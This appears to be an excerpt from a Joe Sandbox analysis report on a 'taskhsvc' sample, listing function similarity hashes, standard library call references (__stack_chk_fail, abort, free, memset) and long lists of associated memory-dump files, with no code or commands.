                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$abort
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 646538096-0
                                                                                                                          • Opcode ID: 8878bda5afbe18d33ff4fd128a54da145915b09338e4d6b2939cfc92b49b348e
                                                                                                                          • Instruction ID: 42b53307f56e91397a5b4d6ef3c30690936a8a0d602f42e1aad02bac6b561e7c
                                                                                                                          • Opcode Fuzzy Hash: 8878bda5afbe18d33ff4fd128a54da145915b09338e4d6b2939cfc92b49b348e
                                                                                                                          • Instruction Fuzzy Hash: 2A3146B4E0475A9FCB40EFA9C5855AEBBF4BF48344F01881AEA54E7300E734EA419F52
                                                                                                                          Function 00C81FCB Relevance: 1.5, APIs: 1, Instructions: 47COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                            • Part of subcall function 00C81DC5: abort.MSVCRT ref: 00C81E5F
                                                                                                                            • Part of subcall function 00C81DC5: __stack_chk_fail.LIBSSP-0 ref: 00C81FBD
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00C8205D
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$abort
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 646538096-0
                                                                                                                          • Opcode ID: 17fff7044c4fe12deade3aeb1a85ce50e8f6cd3f07922c70aca90bf1bb7e43dc
                                                                                                                          • Instruction ID: 16689367d2008ceedb823137010035b67307b2f91e45e6ff28e9eb8f5656e549
                                                                                                                          • Opcode Fuzzy Hash: 17fff7044c4fe12deade3aeb1a85ce50e8f6cd3f07922c70aca90bf1bb7e43dc
                                                                                                                          • Instruction Fuzzy Hash: 4B216AB8E092499FCB04DFA9D58099EBBF1BB8C310F00845AF898A3340D334AA41CF65
                                                                                                                          Function 00D467DB Relevance: 1.5, APIs: 1, Instructions: 43COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                            • Part of subcall function 00D39B0B: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,00D345AC), ref: 00D39B69
                                                                                                                            • Part of subcall function 00D39D53: __stack_chk_fail.LIBSSP-0 ref: 00D39DB3
                                                                                                                            • Part of subcall function 00D465E9: __stack_chk_fail.LIBSSP-0 ref: 00D46762
                                                                                                                            • Part of subcall function 00D39B70: free.MSVCRT ref: 00D39BA5
                                                                                                                            • Part of subcall function 00D39B70: free.MSVCRT ref: 00D39BC7
                                                                                                                            • Part of subcall function 00D39B70: __stack_chk_fail.LIBSSP-0 ref: 00D39BE1
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00D4685E
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$free
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 2817809126-0
                                                                                                                          • Opcode ID: 145644e78242ec492c44401a9b8bf1ef34e088844fedbc365de1c2c4d55d3ba1
                                                                                                                          • Instruction ID: 16be22cb3e77110507d9986c69fe3e9f1a68145296e180369631162f7c4a64b5
                                                                                                                          • Opcode Fuzzy Hash: 145644e78242ec492c44401a9b8bf1ef34e088844fedbc365de1c2c4d55d3ba1
                                                                                                                          • Instruction Fuzzy Hash: 02111AB4E056099FCB40EFA9D58199EFBF1EF08310F11852AE858E7300E774A9418FA1
                                                                                                                          Function 00D33842 Relevance: 1.5, APIs: 1, Instructions: 39COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00D338B7
                                                                                                                            • Part of subcall function 00D32E50: abort.MSVCRT ref: 00D32F7F
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_failabort
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 3276312271-0
                                                                                                                          • Opcode ID: 3c99d238065a7694fbf01348feacd2bc73c4ddc36afedea1f1bda82fce03c75c
                                                                                                                          • Instruction ID: 4d561e0afb49b3c40a46f8979bdbf2537b5788ae9ca83d51730f94df1c5dd3bd
                                                                                                                          • Opcode Fuzzy Hash: 3c99d238065a7694fbf01348feacd2bc73c4ddc36afedea1f1bda82fce03c75c
                                                                                                                          • Instruction Fuzzy Hash: 101142B4E056099FCB40DFA9D58199EBBF1FB4C310F00882AE858E7300E374EA558F65
                                                                                                                          Function 00D39D53 Relevance: 1.5, APIs: 1, Instructions: 38COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                            • Part of subcall function 00D39C41: abort.MSVCRT ref: 00D39C9A
                                                                                                                            • Part of subcall function 00D39C41: memset.MSVCRT ref: 00D39D32
                                                                                                                            • Part of subcall function 00D39C41: __stack_chk_fail.LIBSSP-0 ref: 00D39D4C
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00D39DB3
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
